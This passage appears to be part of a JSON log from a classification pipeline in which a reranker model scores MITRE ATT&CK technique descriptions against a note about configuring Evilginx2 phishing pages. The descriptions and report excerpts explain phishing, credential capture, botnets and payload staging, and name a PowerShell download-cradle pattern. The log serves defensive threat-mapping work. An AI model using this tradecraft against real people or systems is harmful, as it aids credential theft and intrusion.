Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1683", + "text": "ATT&CK technique: T1683 Generate Content\nDescription: Adversaries may create or generate content to support targeting and operations. This content may be used to establish personas, impersonate known individuals or organizations, and support Social Engineering, fraud, or influence activities. Written materials, audio, images, video, or other media may be developed and tailored to the target and objective. Content development may occur prior to or during an operation. Adversaries may develop or generate content in-house, source it through third parties, or produce it using AI-assisted tools. Adversaries may use AI to research targets, develop pretexts, and better understand the organizations and individuals they intend to target or deceive prior to generating content (i.e., Query Public AI Services); for obtaining access to AI tools used in content generation, see Artificial Intelligence. Content may be leveraged in support of techniques such as Phishing, Phishing for Information, Social Engineering, Financial Theft, or Establish Accounts. Generated or developed content does not include malicious code or scripts (i.e., Develop Capabilities and Artificial Intelligence).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1078.004", + "text": "ATT&CK technique: T1078.004 Cloud Accounts\nDescription: Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. Service or user accounts may be targeted by adversaries through Brute Force, Phishing, or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto Remote Services. High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based Software Deployment Tools to run commands on hybrid-joined devices. An adversary may create long lasting Additional Cloud Credentials on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. Cloud accounts may also be able to assume Temporary Elevated Cloud Access or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through Cloud API or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to Steal Application Access Tokens to move laterally across the cloud environment.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1583.005", + "text": "ATT&CK technique: T1583.005 Botnet\nDescription: Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. Internet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks – consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices – to serve as a botnet. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS). Acquired botnets may also be used to support Command and Control activity, such as Hide Infrastructure through an established Proxy network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1602.001", + "text": "ATT&CK technique: T1602.001 SNMP (MIB Dump)\nDescription: Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages. The MIB may also contain device operational information, including running configuration, routing table, and interface details. Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.\nTactics: collection\nPlatforms: Network Devices" + }, + { + "id": "T1595.002", + "text": "ATT&CK technique: T1595.002 Vulnerability Scanning\nDescription: Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1683.002", + "text": "ATT&CK technique: T1683.002 Audio-Visual Content\nDescription: Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals. Content may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services. AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. Audio-visual content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1566", + "score": 1.0, + "rank": 0 + }, + { + "item_id": "T1684", + "score": 0.95703125, + "rank": 1 + }, + { + "item_id": "T1598", + "score": 0.953125, + "rank": 2 + }, + { + "item_id": "T1683", + "score": 0.62109375, + "rank": 3 + }, + { + "item_id": "T1598.002", + "score": 0.59375, + "rank": 4 + }, + { + "item_id": "T1583.004", + "score": 0.53125, + "rank": 5 + }, + { + "item_id": "T1683.001", + "score": 0.5, + "rank": 6 + }, + { + "item_id": "T1598.003", + "score": 0.46875, + "rank": 7 + }, + { + "item_id": "T1684.001", + "score": 0.439453125, + "rank": 8 + }, + { + "item_id": "T1598.001", + "score": 0.29296875, + "rank": 9 + }, + { + "item_id": "T1566.003", + "score": 0.07568359375, + "rank": 10 + }, + { + "item_id": "T1056", + "score": 0.0712890625, + "rank": 11 + }, + { + "item_id": "T1584.004", + "score": 0.06396484375, + "rank": 12 + }, + { + "item_id": "T1583.008", + "score": 0.06005859375, + "rank": 13 + }, + { + "item_id": "T1059", + "score": 0.056396484375, + "rank": 14 + }, + { + "item_id": "T1491", + "score": 0.052978515625, + "rank": 15 + }, + { + "item_id": "T1114", + "score": 0.03759765625, + "rank": 16 + }, + { + "item_id": "T1588.007", + "score": 0.03759765625, + "rank": 17 + }, + { + "item_id": "T1608.005", + "score": 0.033203125, + "rank": 18 + }, + { + "item_id": "T1204", + "score": 0.0311279296875, + "rank": 19 + }, + { + "item_id": "T1036", + "score": 0.0203857421875, + "rank": 20 + }, + { + "item_id": "T1505", + "score": 0.0191650390625, + "rank": 21 + }, + { + "item_id": "T1583.006", + "score": 0.0167236328125, + "rank": 22 + }, + { + "item_id": "T1585", + "score": 0.01519775390625, + "rank": 23 + }, + { + "item_id": "T1584.006", + "score": 0.00921630859375, + "rank": 24 + }, + { + "item_id": "T1583.007", + "score": 0.00811767578125, + "rank": 25 + }, + { + "item_id": "T1586", + "score": 0.006317138671875, + "rank": 26 + }, + { + "item_id": "T1608", + "score": 0.005584716796875, + "rank": 27 + }, + { + "item_id": "T1683.002", + "score": 0.004638671875, + "rank": 28 + }, + { + "item_id": "T1583", + "score": 0.004364013671875, + "rank": 29 + }, + { + "item_id": "T1589", + "score": 0.00384521484375, + "rank": 30 + }, + { + "item_id": "T1588", + "score": 0.003082275390625, + "rank": 31 + }, + { + "item_id": "T1592", + "score": 0.002716064453125, + "rank": 32 + }, + { + "item_id": "T1593.001", + "score": 0.002471923828125, + "rank": 33 + }, + { + "item_id": "T1584", + "score": 0.0023956298828125, + "rank": 34 + }, + { + "item_id": "T1584.005", + "score": 0.0017547607421875, + "rank": 35 + }, + { + "item_id": "T1592.004", + "score": 0.0016021728515625, + "rank": 36 + }, + { + "item_id": "T1587", + "score": 0.0016021728515625, + "rank": 37 + }, + { + "item_id": "T1592.001", + "score": 0.0016021728515625, + "rank": 38 + }, + { + "item_id": "T1584.008", + "score": 0.0016021728515625, + "rank": 39 + }, + { + "item_id": "T1583.005", + "score": 0.00150299072265625, + "rank": 40 + }, + { + "item_id": "T1140", + "score": 0.00136566162109375, + "rank": 41 + }, + { + "item_id": "T1608.002", + "score": 0.00136566162109375, + "rank": 42 + }, + { + "item_id": "T1078.004", + "score": 0.0012054443359375, + "rank": 43 + }, + { + "item_id": "T1602", + "score": 0.001068115234375, + "rank": 44 + }, + { + "item_id": "T1583.002", + "score": 0.00099945068359375, + "rank": 45 + }, + { + "item_id": "T1190", + "score": 0.000942230224609375, + "rank": 46 + }, + { + "item_id": "T1608.003", + "score": 0.000885009765625, + "rank": 47 + }, + { + "item_id": "T1608.004", + "score": 0.000885009765625, + "rank": 48 + }, + { + "item_id": "T1583.003", + "score": 0.00083160400390625, + "rank": 49 + }, + { + "item_id": "T1056.003", + "score": 0.00083160400390625, + "rank": 50 + }, + { + "item_id": "T1195", + "score": 0.000732421875, + "rank": 51 + }, + { + "item_id": "T1685", + "score": 0.0006866455078125, + "rank": 52 + }, + { + "item_id": "T1584.002", + "score": 0.00064849853515625, + "rank": 53 + }, + { + "item_id": "T1584.003", + "score": 0.0004730224609375, + "rank": 54 + }, + { + "item_id": "T1592.003", + "score": 0.0004730224609375, + "rank": 55 + }, + { + "item_id": "T1597.002", + "score": 0.0004444122314453125, + "rank": 56 + }, + { + "item_id": "T1677", + "score": 0.000431060791015625, + "rank": 57 + }, + { + "item_id": "T1567", + "score": 0.0004177093505859375, + "rank": 58 + }, + { + "item_id": "T1105", + "score": 0.0003681182861328125, + "rank": 59 + }, + { + "item_id": "T1596.002", + "score": 0.0003452301025390625, + "rank": 60 + }, + { + "item_id": "T1596.004", + "score": 0.000335693359375, + "rank": 61 + }, + { + "item_id": "T1681", + "score": 0.000335693359375, + "rank": 62 + }, + { + "item_id": "T1557.004", + "score": 0.000335693359375, + "rank": 63 + }, + { + "item_id": "T1104", + "score": 0.0002956390380859375, + "rank": 64 + }, + { + "item_id": "T1557", + "score": 0.000278472900390625, + "rank": 65 + }, + { + "item_id": "T1132", + "score": 0.000278472900390625, + "rank": 66 + }, + { + "item_id": "T1585.003", + "score": 0.0002460479736328125, + "rank": 67 + }, + { + "item_id": "T1596.001", + "score": 0.0002307891845703125, + "rank": 68 + }, + { + "item_id": "T1595.002", + "score": 0.00021648406982421875, + "rank": 69 + }, + { + "item_id": "T1078", + "score": 0.000179290771484375, + "rank": 70 + }, + { + "item_id": "T1602.001", + "score": 0.000179290771484375, + "rank": 71 + }, + { + "item_id": "T1596.005", + "score": 0.00016880035400390625, + "rank": 72 + }, + { + "item_id": "T1189", + "score": 0.00014019012451171875, + "rank": 73 + }, + { + "item_id": "T1557.003", + "score": 0.00010251998901367188, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 26344 + } + }, + "evidence_sha256": "763af62a79021bfa6d2663dba7ad1563bbb78e5e9936c7ca70b96716863be7e4" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 840.8, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Evilginx2 allows you to configure a custom subdomain and landing page URL for each" + }, + "items": [ + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: This campaign uses Discord services to form a URL to host malicious payloads as follows: *https://cdn.discordapp.com/attachments/ChannelID/AttachmentID/filename.exe*" + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: The messages contain a URL which leads to a fake webmail authentication page designed to harvest user credentials." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: In most attacks, newly registered domains are typosquatting for legitimate web services, such as Google ads, CDNs, Jquery, Magento, etc., as typosquatting increases the chance of remaining undetected in legitimate traffic." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Visitors are instructed to download and install Privacy Tools software via a specific section of the website." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns." + }, + { + "id": "T1571", + "text": "ATT&CK technique: T1571 Non-Standard Port\nDescription: Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The network communication in this case is produced by HTTP to the domain **office365-update[.]co** to TCP/2082 port." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: When a victim browses to a website that matches one of these patterns, JavaScript code will be injected from the threat actor’s domain https://securebankingapp[.]com/." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: The messages contain a URL which leads to a fake webmail authentication page designed to harvest user credentials." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Next, the backdoor is stored on a webserver and the full URL path of it is embedded into the maldoc. Lastly, the C2 panel that the backdoor will beacon to is set up." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: 2.Exploitation I (Optional).Both threat actor groups used a non-malicious PDF, luring the user to click on the contained link in order to download the maldoc." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: To note, FreeDNS does provide users the capability to delegate the authority of their subdomains to external NS. In the described scenario, attackers delegated the NS of their subdomain to use their NS as a de-facto C2 server." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: The latest techniques include 